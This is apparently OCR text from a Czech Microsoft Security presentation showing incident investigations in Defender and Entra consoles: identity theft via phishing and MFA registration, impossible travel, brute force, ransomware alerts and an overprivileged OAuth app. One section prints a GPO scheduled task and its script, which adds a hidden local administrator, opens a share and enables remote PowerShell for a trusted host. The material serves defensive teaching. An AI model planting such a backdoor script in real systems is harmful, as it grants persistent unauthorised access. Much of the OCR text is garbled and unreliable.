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Alerty — realna organizace (30d)

Defender for Office 365
AAD ldentity Protection
Defender for Cloud Apps
Defender Antivirus
Defender for Identity
Data Loss Prevention

Custom detection

831
28
474
14

3
55
148



Inventarizace (30d)

Software 6140
Doplnky prohlizece 2750
Zranitelné komponenty 7

Podezrele certifikaty 104
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MFA = we are safe enough ‘




8 open alerts
For the last 180 days

Alert lSeverity

Creation of forwarding/r... TJ  BEE Informational

Risky sign-in: Atypical travel AP High
Risky sign-in: Unfamiliar sign-... @HB High

Risky sign-in: Atypical travel aEe High




Timeline & Attack story

AAD Sign-in logs AAD Audit log MDA Activity log

o
. Data

exfiltrated

User got

phished O
Password
. provided F o~ Environment g

LW_, breached

Attacker sent .
malicious Unsecured @
e-mail SSPR Portal o Register MFA device Document libraries
compromised

C =
®

Password reset

Mailbox compromised

Identity theft Phase 1 Identity theft Phase 2



Azure Active Directory admin center

El) Dashboard

= All services

*  FAVORITES

‘B Azure Active Directory
& Users

l‘ Enterprise applications

&«

Dashboard » WV

A Diagnose and solve problems

Azare Active Directory

Overview

Preview features

Manage

&
&
LY
d

¥

Usess

Groups

External Identities

Roles and administrators
Administrative units
Delegated admin partners
Enterprise applications
Devices

App registrations
Identity Governance
Application proxy

Custom security attributes
(Preview)

@ /udit logs

4 Download 5} Export Data Settin

1/17/2023, 1:24:16PM
1/17/2023,10:11:18,..
1/17/2023, 82417 AM
1/16/2023, 5:42:32PM
1/16/2023, 3:40.06PM
1/16/2023, 3:02:03PM
1/16/2023, 3:00:10PM
1/16/2023, 1:35:54 PM
1/16/2023, B:41:22 AM
1/16/2023, 815:19AM
1/16/2023, B:09:18 AM
1/16/2023, 721:13AM
1/13/2023, 2:37:27PM
1/13/2023, 2:36:07 PM
1/13/2023, 124714
1/13/2023, 83048 AM
1/13/2023, 74844 AM

Core Directory
Core Directory
Core Directory
Core Directory
Core Directory
Core Directory
Core Directory
Core Directory
Core Directory
Core Directory
Core Directory
Core Directory.
Core Directory
Core Directory
Core Directory
Core Directory

Core Directory

Audit Log Details X
Activity  Targe(s) Modified Properties
Activity
Date COWPe T 15 M
HUmE  oeRedR
Correlation 1D @22 189 Abed bO4S 844649 A
Category UserManagement
Status success
Status reason
User Agent
Initiated by (actor) Additional Details
Type User
Display Name
Object ID daB46c52- cc54-460a-8cc- 10069245001
User Principal Name Sy QR ADCONNECT Gy 5412505 gy ool com




Azure Active Directory admin center
Y

« < 7 .
Deshea V.0 Audit Log Details X
o P g @D Audit logs
= All services Azure Active Diractory
Activity  Target(s) Modified Properties
# FAVORITES - 4 Download 5! Export Data Settin —
» Azure Active Directory @ Overview : )
B e B Preview features Date - Last 1 month Show dat = s
i Date L Service ' .
S Foheniiiian CmyTee  Gwgesiyes
1/24/2023, 226:52PM  Azure MFA
&
& Users 1/22/2023, 30043PM  Azure MFA Correlation ID 3bd7dd24-2e63-4be6-927d-ed 1dee1e5¢76

1/21/2023, 914:34PM  Azure MFA

& Groups Category UserManagement
1/18/2023, 6:21:44PM  Azure MFA

85 External ldentities

1/14/2023, B2711AM  Azure MFA Stats TR
4. Roles and administrators
— /1172023, 6:53:36PM  Azure MFA Status reason User registered Authenticator App with Code
& Administrative units
1/11/2023, 11:01:11 ... Azure MFA
% Delegated admin partners User Agent
® 1/10/2023, 820:13PM  Azure MFA
En ise ications o
e 1/10/2023, 45109PM AzireMpa  Initiated by (actor) Additioria} Detaiis
'd Devices
1/8/2023, 246:11AM  Azure MFA
I App registrations Type User
1/6/2023, 3:23:27PM  Azure MFA
(& Identity Governance Display Name
1/6/2023, 1:5524PM  Azure MFA
' Application proxy
1/6/2023, 1:48:42PM  Azure MFA Object ID 65940511-0f3b-4606-ada4-cf4943ee3{33

Custom security attributes
(Preview) 1/4/2023, 11.46:50AM  Azure MFA

User Principal Name  biaze)




Microsoft 365 Defender L Search

11

M Home Alerts » Impassible travel activity
O Incidents & slerts ~ v 2
) Impossible travel activity
>, ad.ujv\alain.flores i 21ps % Microsoft OneDrive for Business &
Incidents mEn Medum ® Unknown ® New
| Alerts
& Hunting A & Manage alert 1) Link alert to another incident
Advanced hunting Alert story 7 Maximize
-
Custom detection rules
A
=~ ; N What happened Alert state N
2 Actions & submissions v
The user Flores ¥ Flores Alam (alanfioresiDowez.cz) was involved in an impossbie travel incident. The user connected from two countries within 54 minutes, from these P ) . .
: - A R PRt bzt 2 > 2 Classification Assigned to
8 Threat analytics addresses: Czech Republic {(37.48.4.203) and Belgoum (94.110.22.113), if any of these P addresses are used by the organization for VPN connections and do not necessarily
represent a physical location, we recommend cateqorizing them as VPN in the IP Address range page in Miarasoft Defender for Cloud Apps portal to avoid false alerts Not Set Unassigned
L Securescore
. Alert details A
R Learming hub Important information;
1 i Catego MITRE ATT&CK Techniques
5 Triats * BE was visited for the first time i 1571 days by thes user i 9
Initlad access
°@ Partner catalog 7 « ISP kpn belgium ipvd dynamic - consumer was used for the first time in 151 days in your organization
Detection source Service source
& Assets ~ Related activities A Microsaft Defender for Cloud ,:1” rosoft Dafender for Cloud
Apps
Bl Devices =E
15 itams  OF Customize columns = 3
n status rction techn.
Detection statu Detection technology
* Unknown
2 Endpo-nh 2 Activity Usar App P address Location Device type Date
‘ Winerability managemaent - ListViewed & Micozoft OneDrive for Buscd 110,22.113 Belgium PC. Windows 10 10.0. Chwvom.. Sep 19 Generated on Fivst activity
Sep 19, 2022 10706:21 AM Sep 19, 2022 5:03:35 AM
°G Partners and APl v 5
Access file: file https.//u. @ Microson CreOrive foe Busipd. 1 10:22.113 Belgium 10 30.0. Cwom.. Sep 13
3 Evalustion & tutorisls v Last activity
Access file: file https//u @ NMicrozott GoeDrive for Bunid 7 46.4203 Czech Repubic _o«mmm Sep 19, Sep 19, 2022 9:5
54 Configuation management
Access file: file https://u & Miaooft GreDnve for Busid? 484203 Cxoch Repubac Microzoft OneOrive for Bus Sep 19
Alert Policy A
=3 Email & collaboration ~ Access file: file https://u @ Microroh Onediive for Bund 7484303 Crech Repubic Microrolt OneDrive for Bus..  Sép 19
View policy on Microsoft Detender for Cloud App
e Investigations Access file: file https://u & Mool OneDrive for Busid 7484203 Crech Repubde Micrasol Onelvive foe Bus Sep 19
E ror p
S Explo Access file: file https://u_ @ Miaoioht OreDrive for Busid? 484203 Croch Ropubic Mictosoft OneDnive for Bem.  Sop 19 Incident details ~
E Review
Access file: file https:/u @ Miooroh Onerive for Eusid7.46.4203 Ceech Repubic Microsoft OneOrive for Busi..  Sep 19 Incident severity
@ Campaigns travel activity EEE Msdum
Access file: file https://u & Vicrozoft OneDnve for Busid7,48.4 203 Crech Republc Mixcrosott OneDnve dor Bum..  Sep 19 G ONe user
kS Threat trackes
Access file: file Mtpsy//u & Microsoh OesDrive for Busid? 484203 Cxech Repubic Micrasoft Onsiiive for B, Sep 19 l Active sty I Dvices I dawes Mallbess I Apps ©
sir




Activity log

(O To improve performance, the Activity Log now displays activities from the last 30 days. It is possible ta display more than 30 days of activities in the Investigate the last 6 months option, Learm mare X
Activity User App IP address Location Device Date v

| Access file: file https://ujvrez-my.... va @ Microsoft On.. B3 193.84.161.43 CzechRep.. [J == Jan 30, 2023 11:2...
| Rename file: file https://ujvrez-m... mas @ Microsoft On.. E=3 193.84.170.166 CzechRep.. [J 2@ [ Jan 30, 2023 11:2...
[  Access file: file https://ujvrez.sha... aria Microsoft Sh..  E=3 193.84.165.149 CzechRep.. [J 2@ [ Jan 30, 2023 11:2...
0 Download file: file https://ujvrez-... as @ Microsoft On...  86.49.246.44 CzechRep.. [ =@ G“l Jan 30, 2023 11:2...
g8 FilePreviewed: file https://ujvrez-... Ivana @ Microsoft On.. E=3 193.84.161.57 CzechRep..  [7] Jan 30, 2023 11:2...
g+  FileModifiedExtended: file https:... va @ Microsoft On... =3 193.84.161.43 CzechRep.. [J Em Jan 30, 2023 11:2...
| Access file: file https://ujvrez-my.... va Alena @ Microsoft On... =3 193.84.160.164 CzechRep..  [J == Jan 30, 2023 11:2...
| Modify file: file https://ujvrez-my... mas @ Microsoft On.. E=3 193.84.170.166 CzechRep.. [ =@ @“1 Jan 30, 2023 11:2... :
| Upload file: file https://ujvrez-my... mas @ Microsoft On... & 52.114.76.204 i@l Ireland  Other Jan 30, 2023 11:2...
| Sync file upload: file https://ujvre... @ Microsoft On... 193.84.160.164 Czech Rep... == i Jan 30, 2023 11:2...
g% FileAccessedExtended: file https:... @ Microsoft On... =3 193.84.16635 Czech Rep ]| Jan 30, 2023 11:2...

Go ta user page ] o0 —am Al Ao A

4&2’ — : o 6 countries @ 12 ISPs e 107 IP addresses '& p\ @\\ \\\b R Qy \(,9

Z  FilePreviewed: file https://ujvrez-...  Petrovicka lvana @& Micosoft On.. B2 1938416157 CzechRep.. [ Jan 30, 2023 11:2...

Investigate 6 months back o



Microsoft Entra admin center L Search resources, services, and docs (G+/) £ Copilot

2 Home Identity Protection | Dashboard > Conditional Access | Policies
& Password reset ‘ . o
Block high risk users from sensitive apps
& Custom security attributes Conditional Access policy
- 213 @' View policy information @' View policy impact
& Certificate authorities poicy oo bl
ernal Identities ontrol access based on Conditional Access ontrol access based on signals from conditions
External Identit Control based on Conditional A Control based gnals f dit
policy to bring signals together, to make like risk, device platform, location, client apps, or
Eaed ecisions, and enforce organizational policies evice state. Learn more o
& Cross-tenant synchronization d d enf 9 | pol d tate. L
Learn more
User risk (2
%  Entra Connect Name User risk level is the likelihood that the user
account is compromised
0 Domain names
1 included
Ay Custom branding Assignments o
Sign-in risk (D
& Mobility veers Sign |1 HS-‘.‘[c-‘\.'d is the likelihood that the sign
Specific users included and specific users in session is compromised
P excluded
S Monitoring & health \
Target resources (2 Insider risk
I & ID Protection e 3 resources included Insider risk assesses the user's risky data
related activity in Microsoft Purview Insider Risk
@ Dashboard Network NEW ';_l l\-13'\})\'_)&’nlf'ﬂ'.
9 Risk-based Conditional Access
Conditions () Device platforms O
Risky users
% Ky 1 condition selected
&3 Risky workload identities Locations
Access controls
‘& ID Governance v Grant © -
Block Client apps (O
llock access
& Verified ID e Session (0
Filter for devices (O
11 .48 "M ) P A are *




Microsoft Security

Nase server jsou bezpecnejsi,
protoze je mame u sebe

Verejny sektor




Microsoft 365 Defender

Il

&

Home

Incidents & alerts

RS

Hunting

fi0

Actions & submissions

5

Threat intelligence

Secure score

©

Learning hub

Tnals

&S

Partner catalog

A Assets

E  Devices
Q, Identities
L£S  Endpoints

Vulnerability management

&

Partners and APls

!

Evaluation & tutonals

b

Configuration management

1 Email & collaboration
G investigations

& Explorer

w

Suspected brute-force attack (Kerberos, NTLM)

iI.’ Part of incldent: Suspectad brute-forcs ats farber TEM ne endpoint View incident page

]

Related Account

7

Related Host

Risk level mmm Medium

S S—

L 2 Hosts

Source Hosts

Alert story

Alert graph

Suspicious falled! login attemprs on

- —

Important information

Vv Authentication failure details by date

" Maximize

« On 18/05/23 G 3''ed to authenticate from - 217 times, exceeding the normal failure rate for that

machine

viay &£ £ 1 d s
G it update

* None of the passwords attempted were previously used passwords

* 18 May 2023 08:22 - 18 May 2023 16:44
. their password within the last 24 hours
e 18 Mav 2023 D822 - 18 Mav 2023

viay 2023 08:; 18 May 2023 16:44

G cc0 tobserved logaing into 10 Gy © 6 recently

* The suspicious authentication failures used Kerberos

Suspected brute-force
& attack (Kerberos, NTLM)

sen Medwum ® Unknown @ New

7 Manage alert L Export

INSIGHT

Quickly classify this alert

Classify alerts to improve alert accuracy and
get more insights about threats to your
organization

Classify alert

Alert state @
Classification Assigned to

Not Set Unassigned

Set Classification

Alert details v
Evidence N\

No related evidence was found

Alert description A




Microsoft 365 Defender

n i o B

Incident

Alert

Hunun

1 ub [
1 an '

re ) vl

ecut

Lean hut

1al

Farine 1a |

Assets

|dentitie

Endpoints

Administrator

What happened

Atert graph

Important information

¢ t
o F ) later

mEn Medium

3 Hosts

3) Open device page

1 PC Logged on users{iast 20

d Hoat

Device details
Domain

SAM name

Health state

Active

Data sensitivity

None

First seen

Ia 123 I-2275
Jan 4, 2023 2:43.2

it - Onboarding status

Can be onboarded

PM

Recently seen by

X
A No data available
Tl Devicevalue <5 Manage tags & Contain device
-
A
No data found
~

0s

Windows Server 2012 R2

(Release 6.3 Build 9600)

Asset group

Created on
Nov 26, 2014 11:51:38 AM

IP addresses

12—

See P addresses info

Last seen

lan 17, 2023 83531 AM

Resources

See all resources (1)

Device id




Vétsina bezpecnostnich incidentu prichazi zevnitr a
ne zvenku



Microsoft Security

Let me do some (hidden) config
changes

Commercial company, Automotive ‘




o0 o o o oot

Alert name

New group added suspiciously

User account created under suspicious circumstances
Suspicious sequence of exploration activities
Suspicious registry modification

New local admin added using Net commands

Suspicious Scheduled Task Process Launched

Severity

Medium

Medium

Low

Low

Medium

Medium

Category

Persistence

Persistence

Discovery

Defense evasion

Persistence

Execution

Detection source

EDR

EDR

EDR

EDR

EDR

EDR



oft Defender

& alerts

1 hunting

letection rules

. submissions
elligence
ore

hub

atalog

lity management

A

Device inventory > win-3i4n85f4br5

win-3i4n85f4br5

mmm No known risks

New  Servers

Overview Incidents and alerts ~ Timeline  Security recommendations  Inventories
Oct 2023 Nov 2023 Dec 2023
[} Copy to clipboard ¥ Export L itom X 1 selected Feb

Filters:

L]

&

O 0O o

Event group: ASR events +14 X

Event time |

Mar 1, 2024 11:25:44.277 AM

Mar 1, 2024 11:25:43.987 AM

Mar 1, 2024 11:25:38.948 AM

Mar 1, 2024 11:25:38.892 AM

K Event
Load newer results
%2 notepad.exe opened named pipe \Device\Mup\W
% svchost.exe created process notepad.exe
= svchost.exe created the scheduled task ItomCon'

HY  svchost.exe created registry key '"HKEY_LOCAL_MA

192 services.exe > 32 svchost.exe > ¢ notepad.exe

Event details

Initiating process image file

[ notepad.exe

Initiating process pid
4960

Pipe name

\Device\Mup\WIN-GGMOGHS...

Thread id
836

Remote client access

True

Account
2 5-1-5-18

Techniques info

Initiating process imac

notepad.exe "\\trololo.loca\SYSVOL\trolo
{7E9A7C39-B267-46A1-A68D-
C3C71 BQO3DD3}\Machine\itomcfg.es1 i

Iy TV 2 T

notepad.exe "\\trololo.loc

Desired access

I FILE_READ_DATA, FILE_ W

File operation

Open

Session id
0

Pipe end
Client



Microsoft Defender

L o9 Q ®

Gi 80 9 @

o
&b

2

©» D

B & H » & & & &

Home

Incidents & alerts
Hunting

Actions & submissions
Threat intelligence
Secure score

Learning hub

Trials

Partner catalog

Assets
Devices

Identities

Endpoints
Vulnerability management
Partners and APls

Configuration management

Identities
Dashboard
Health issues

Jools

o

Device inventory

> win-3i4n85f4brs

win-3i4n85f4br5

mmm No known risks

New  Servers

Overview Incidents and alerts  Timeline  Security recommendations  Inventories
Oc1 2023 Nov 2023 Dec 2023
[ Copytoclipboard & Export O Search
:] Event time | = Event

Mar 1, 2024 11:25:39.380 AM

Mar 1, 2024 11:25:39.229 AM

Mar 1, 2024 11:25:38.983 AM

Mar 1, 2024 11:25:38.948 AM

Mar 1, 2024 11:25:38.610 AM

Mar 1, 2024 11:25:38.551 AM

Mar 1, 2024 11:25:38.536 AM

Mar 1, 2024 11:25:38.523 AM

Mar 1, 2024 11:25:38.439 AM

Mar 1, 2024 11:25:38.434 AM

svchost.exe executed the WMI query 'SELECT * FR
svchost.exe performed system information discov
svchost.exe executed the WMI query 'SELECT * FR
svchost.exe created the scheduled task ltomCol%
svehost.exe ran an LDAP query
svchost.exe ran an LDAP query
svchost.exe ran an LDAP query
svchost.exe opened named pipe \Device\NamedP
svchost.exe executed the WM query 'SELECT * FR

svchost.exe executed the WMI query 'SELECT * FR

Event time
Mar 1, 2024 11:25:38 AM

User
= NT AUTHORITY\system

Entities

2 wininitexe > 2

Event details

Process image file
] svchost exe

Process pid
1044

Maodification time
Mar 1, 2024 11:25:28 AM

Subject logon id
999

Subject user sid
S-1-5-18

Task executables

services.exe >

Action type
ScheduledTaskCreated

Mitre Techniques
T1053.005; Scheduled Task

svchost exe

Process image file path

CAWindows\System32\svchost..,

Process command line

svchostéxe -k neteves -p

Subject domain name
TROLOLO

Subject user name
WIN-3I4NBSFABRSS

Task name
ItomConfig

WrololoJocal\SYSVOL\tololalocal\Policies\[TESATCIZ-B267-46A1-A6BD-C3CT..,

£% Hunt for related events

-
b X
A\
D
0
0
'L_



— PO A
= Device inventory > win-3i4n85f4brs N U X
R Home . .
& A < win-3i4n85f4br5 Image file SHA1  da7a6e7798d448cd593b11735¢2b
ncidents & ale
mmm No known risks New  Servers Gl4ec2bin2)
£» Hunting ~ Image file SHA256  31780ff2aaf7bc71f755ba0e4fef1d6
1b060d1d2741eafb33cbab44d889
Advanced hunting Overview  Incidents and alerts  Timeline  Security recommendations  Inventories 59520
Custom detection rules Execution details Token elevation: Standard, Integrity
[ level: System
(D . oy
\= Actions & submissions v = - - - Signer @ Microsoft Windows
eC
@ Threat intelligence v Issuer Microsoft Windows Production
PCA 2011
@  Secure score VirusTotal detection 0/70
[ Copytoclipboard & Export O Search ratio
%= Learning hub
= ; F
& —_ [ | Eventtime | Event created file
3 partner catakig - (] Mar1, 2024 1:06:54.547 PM @ Process Unknown process executed null via a WM D scheduledTasks.xmi R
- SHA1 a1092def65481b08ba1fbd625653e
& || Mar1, 2024 1:06:54.543 PM % svchostexe executed the WMI query "SELECT * FR 9d7815ecafc
Assets 7n
SHA256 85d4ad6fb64a935fb859c60338¢03
b4 Mar1 2024 1:06:54.542 PM s host. ted file ScheduledTasks.xml
. & . ibeaniebnmahivdanapbniit; dddc9a358242dbf69a6823b9chbéf
£ Devices P
. ~ acba
; || Mar1, 2024 1:06:54.535 PM o =+ svchost.exe created the scheduled task ItomCon'
K Iidentities Path C:\ProgramData\Microsoft\Group
] Mar1, 2024 1:06:54.509 PM B! svchostexe set registry value for key 'HKEY_LOCA! :Zi‘y\"\”g;‘;"y\[759"7<539‘3267'
1- =
L3 Endpoints N — C3C718903DD3\Machine\Pref
] Mar1, 2024 1:06:54.509 PM B svchost. ted registry key "HKEY_LOCAL_M# AN A
g - et - g e Tl ces\ScheduledTasks\ScheduledTask
Vulnerability management v sxml
[7] Mar1, 2024 1:06:54.509 PM [ svchostexe created registry key "HKEY_LOCAL_MA
°d  Partners and APls v Signes © Unknown
[ ] Mar1, 2024 1:06:54.505 PM B svchostexe deleted registry key 'HKEY_LOCAL M# VirusTotal detection 0/0
63 Configuration management \'/ ratio

[ ] Mar1, 2024 1:06:54.319 PM i&l  svchost.exe executed the WMI query 'SELECT * FR



Microsoft Defender

— Device Inventory > win-3i4n85f4brs N b
&1 Home win-3i4n85f4br5 T e T i
@  Incidents & alerts v , Process ID 6728
mmm No known risks  New  Servers
B Hunting N Execution time Mar 1, 2024 1:06:59 PM
Command line omd.exe /o D
Advanced hunting Overview  Incidents and alerts  Timeline  Security recommendations  Inventories ""\\trololo.local\SYSVO
: L\trololo.local\Policie
Custom detection rules ' s\ (7ESR7C359-B267-46A1-
A&8D-
2 Actions & submissions v , C3C71B9030D3} \Machine\i
Oct 2023 Nov 2023 Dec 2023 temefg. cmd"®
@ Threat intelligence e
@ Secure score -
li ¥ i X ;
B Lenining hib D Copytodipboard & Eport 0 Homdg.omd Image file path CA\Windows\System32\cmd.exe
e o Image file SHA1 2ed89b5430c775306b316ba3ag926d7de
5 Trials | | Eventtime | Event 4fe39fc7
| Image file SHA256 eb71ea69dd19f728ab9240565e8c7efbs
3 Partner catalog N KRad newer femes 9821e19¢3788e289301e1674940¢208
[ Mar1,2024 1:07:01.570 PM & cscript.exe opened named pipe \Device\NamedPj Enecution details Tokin slevation; Detult, Intagrity level:
& Assets A System
) [7 Mar1, 2024 1:07:01.565 PM 0! cscript.exe executed a script Signer @ Microsoft Windows
Bl Devices ¥ g
Issuer Microsoft Windows Production PCA
| Mar1, 2024 1:07:01.493 PM & ' i i
R identities ] ar 1, 202 2 cscriptexe opened named pipe \Device\NamedPj 2011
VirusTotal detection 0/72
[7 Mar1, 2024 1:07:01.465 PM @ - cscript.exe process contains suspicious patterns | ratl‘:) ;
£5  Endpoints ~
Mar 1, 2024 1:07:01.465 PM “ 1 escriptexe executed a script
% Vulnerability management N — € [4248) cscriptexe cscript //nologo “CAWin.. BB
[ | Mar1, 2024 1:07:01.208 PM o @ cmd.exe created process cscriptexe
od  Partners and APls v Process ID 4248
S Comoltoniiecent; [ Mar1, 2024 1:07:01.179 PM ® 2 A Visual Basic interpreter process was launched by Bxeciution thne Mar 1, 2024 1:07:01 PM
nfigur, gem
— SeE : Command line csoript //nologo 4 B
[ Mar 1, 2024 1:07:01.139 PM e ! cmd.exe created process reg.exe "Ca\iindowa\System v
9 identities A = 32\winrm,vbs"
[ Mar1, 2024 1:06:59.849 PM ® 2 cmd.exe created process net.exe *
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Microsoft Defender

Home

Incidents & alerts
Hunting

Actions & submissions
Threat intelligence
Secure score

Leamming hub

Tnals

Partner catalog

Assets
Devices

Identities

Endpoints
Vuinerability management
Partners and APls

Configuration management

Identities
Dashboard

Health issues

b

Dewvice Inventory

win-3i4n85f4brs

Live response on win-3i4n85f4br5

Live response on win-3i4n85f4br5

Connected

Entity summary

Device details

View device detalls

Session Information

Session ID

CLR6110d92e-21f7-4086-3427-

853c5dcfobéd

Session created by

admin@MSDx386179.onmicrosoft.com

Session started

Mar 1, 2024 1:31 PM
Session ended

N/A

Duration

2:32m

w

Device Information

Command console

ogrambDat

rogrambats:

Command log

Maximize

Command index




security.microsoft.com LN

Downloads mi el
B What do you want to do with ScheduledTasks.x
Device Inventory win-3i4n85f4brS Live response on win-314n85f4br5
Open Save as >
y Home
- WindowsDefenderATPOnboasdingPackage MDE.zip
- - -
@ Incidents & alerts v = Live response on win-3i4n85f4br5
> Hunting "/ Connected
Y2 Actions & submissions v
Entity summar
@ Threat intelligence v ty y Command console  Command log
¥ Secure score Device details A
’Dn-:v Leamming hub View dewice details
£ Trials Command ind
o Partner catalog v Session Information A
G Assets N Session ID
CLR6110d92e-2117-4086-3427-
B Devices 853c5dcfabsd
A Identities Session created by
admin@MSDx386179.onmicrosoft.com
LS Endpoints ~ Session started
Mar 1, 2024 1:31 PM
¥ Vulnerability management v :
Session ended
o Partners and APls v N/A
! Duration
64 Configuration management v
412m
B Identities ~
EH Dashboard
Device Information WV
®  Health issues




File Edit View

2

v

<?xml version="1.8" encoding="UTF-8" ?><ScheduledTasks clsid="{CC63F200-7309-4bad-B154-A71CD118DBCC}">
<ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CABD43ADBSF}" name="ItomConfig" image="@" changed="2024-03-81 10:39:45" uid="{EC4C976D-2808C-4324-86A8-584A56438A41}" policyApplied="1">
<Properties action="C" name="ItomConfig" runAs="NT AUTHORITY\System" logonType="S4au">
<Task version="1.2">

<RegistrationInfo>

<Author>TROLOLO\Administrator</Author>
<Description></Description></Registrationinfo>

<Principals>

<Principal id="Author"“>

<UserId>NT AUTHORITY\System</UserId>

<Logenlype>S4U</Logoniype>
<RunlLevel>HighestAvailable</RunlLevel></Principal></Principals>
<Settings>

<IdleSettings>

<Duration>PT18M</Duration>

<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnldle>false</RestartOnidle></IdleSettings>
<MultiplelnstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIifOnBatteries>true</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<StartWhenAvailable>true</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>

<Hidden>false</Hidden>

<RunOnlyIfidle>false</RunOnlyIfidie>
<WakeToRun>false</WakeToRun>
<ExecutionTimelimit>P3D</ExecutionTimelimit>
<Priority>7</Priority>
<DeleteExpiredTaskAfter>PTeS</DeleteExpiredTaskAfter></Settings>
<Triggers>

<TimeTrigger>

<StartBoundary>%LocalTimeXmlExX</StartBoundary>
<EndBoundary>XLocalTimeXmlEx¥</EndBoundary>
<Enabled>true</Enabled></TimeTrigger></Triggers>

<Actions Context="Author">

<Exec>
<Command>\\trololo.local\SYSVOL\trololo.local\Policies\{7ESA7C39-B267-46A1-A68D-C3C718903DD3 }\Machine\itomcfg.cmd</Command></Exec></Actions></Task></Properties></ImmediateTaskV2></ScheduledTasks>




net user itomadm "Q77' --"""'2G" /Add /LOGONPASSWORDCHG:NO /ACTIVE:YES

net localgroup Administrators itomadm /ADD

mkdir C:\itom_share

net share itom_share=C:\itom_share /grant:itomadm,full

REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v "LocalAccountTokenFilterPolicy"” /t REG_DWORD /d "1" /f

winrm quickconfig -quiet
Enable-PSRemoting -force
Set-Item WSMan:\localhost\Client\TrustedHosts -Value '18._._._.64"' -Force

# Define the local user's account name
$localUser = "itomadm"

$localUserSID = (New-Object System.Security.Principal.NTAccount($localUser)).Translate([System.Security.Principal.SecurityIdentifier]).Value

# Define the ACL (Access Control List) for the session configuration, granting permission to the local user
$securityDescriptorSDDL = "0:NSG:BAD:P(A;;GA;;;BA)(A;;GA;;;5-1-5-32-555)(A;;GA;;;%1localUserSID)"

# Set the security descriptor for the session configuration
Set-PSSessionConfiguration -Name Microsoft.PowerShell -SecurityDescriptorSddl $securityDescriptorSDDL

Restart-Service WinRM
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— v Export [ 6 Months 863 Alerts | O Search for name or ID o
@ Home El Alert name v Tags Severity Investigation state ~  Status Category
®  Exposure management v [ ] Suspicious PowerShell download or encoded com... mEE Medium ® Resolved Execution

[] Suspicious PowerShell command line mmE Medium ® Resolved Execution
@ Investigation & response N
edlanis finiens x | ] Suspicious Task Scheduler activity mmE Medium ® Resolved Persistence

Incidents [ ] Ananomalous scheduled task was created |mmn Medium ® Resolved Persistence
| Alerts st .
[] Suspicious PowerShell download or encoded com... mmE Medium ® Resolved Execution
p

Hunting v

[ ] Powershell dropped a suspicious file on the machi... mEn Medium Remediated ® Resolved Execution
Actions & submissions v

[ ] Suspicious process executed PowerShell command mms Medium ® Resolved Execution
Partner catalog %

[ | Suspicious LDAP query mEE Medium ® Resolved Discovery
#) Threat intelligence v

[ ] Suspicious PowerShell download or encoded com... mams Medium ® Resolved Execution
o Anseta h [ | Suspicious Scheduled Task Process Launched mEE Medium ® Resolved Execution
@ Microsoft Sentinel v [ ] Potentially compromised assets exhibiting ranso... Ransomware [ mmm High Queued @ Resolved Ransomware
B i [ | Risk of tampering using Safe Mode reboot as part... +2 WEE High Queued ® Resolved Ransomware

Identities v '

[ ] Possible ransomware activity based on a known ... Ransomware R mmm High ® Resolved Ransomware

£S5 Endpoints v

| | Potentially compromised assets exhibiting ranso... [kl *° mEE High Queued ® Resolved Ransomware
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Increase in data usage by an overprivileged or highly privileged app

@ Part of incident: Increase in data usage by an overprivileged or highly privileged app View incident page

Alert story " Maximize
What happened

showed a significant increase in data usage. ie, it
has either unused permissions or permissions that are relatively powe is app to ensure iltration or other attempts to
access and retrieve sensitive data.
Recommended actions &

1. Contact the users or admins who have granted consent or permissions to the app. Verify if the any changes were intentional and if any excessive privileges are
normal.

2. Search the CloudAppEvents table in advanced hunting to understand app activity and identify data accessed by the app. Check affected files, emails, or chat
messages that might have been read or exfiltrated.

3. Verify whether the app is critical to your organization before considering any containment actions. Deactivate the app using app governance or Azure AD to
prevent it from accessing resources. Existing app governance policies might have already deactivated the app.

4. Check affected accounts for suspicious activity. Suspend and reset passwords for all affected accounts.

& Increase in data usage by an

overprivileged or highly privileged

app

mEE Medium

® Unknown

® Resolved

& Manage alert (U Link alert to another incident

Quickly classify this alert

Classify alerts to improve alert accuracy and get more insights

about threats to your organization.

C]aSSify a'l_'er_t

Alert state

Classification
Not Set
Set Classification

Assigned to
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Email & collaboration

Investigations

Threat trackes

Exchange mwssage trace
Attack simulation training
Polices & rutes

Cloud spps

Cloud ducovery
Cloud app catalog

OAuth apps

App governance:

Activity log

Permissions

More resources

Customize navigation

Microsoft Defender £ Search

App governance

-~ Get in-depth visibility snd control aver QAuth apps integrated with Anare Active Directory, Google, and Salesforce.

@ We've automatically tumed on spp gowermance. Learm mare sbout our date secunty and prvocy practices

# whatsnew I Learm more

1 policy incidents

View all incidents

View all incidents

App categories ()

Allapps  Highly privileged  Overprivileged  Unverified publisher
App name App status Permission type  Congent type Publisher Last modified
- lient © Ensbied Deteqated Adem - et

No items to show

@ Starting June 1, 2023, managoment of unused apps, unused < 15, prvd expinng will only be avalable 10 app g % with Microsoft Entra Workioad Identities Promium. Try Workioad Igentites x
Overview  Azure AD  Alerts  Policies
Apps Latest incidents Predefined policies Apps that accessed Microsoft 365 services ()
- . L3¢z 30 oa
172 apps found © usaaviy sewty  madeinme  swe  YOUr predefined policies ... "
ShargPaint 0/3
=¥H ¢ ) . Watch out for mherts trom default policies that identify risky apps. _————————————
65 overpr'v'leged apps \D 28/1/2024 mE® Medum  focresein data .. Policy such = m;qyﬂhexw.me privileges, unususl charactesistics. or Onelve 0/6
55 highly privileged apps @ s e
g y p g pp 19/12/2023 mEm®m Medum  App metadats as.. Detection — ol T 614
~ View all apps
Incidents
—— View predefined policies View apps
2 unresolved incidents
1 threat incidents
Sensitive data sccessed (1) Data usage ()

Data usage for variows services and tesources that were accessed
using Graph AP|

Services

7sGE

neGe

November Docembert January Febraary
W Zcchange W OncOrme M Shaoefrine
Resource types
100 Gt
AN




Get in-depth visibility and control over OAuth apps integrated with Azure Active Directory, Google, and Salesforce.

EE reader
= ~ @ Disabled by user
(D We've automatically tumed on app govemance, Leam more about our data security and privacy practices by
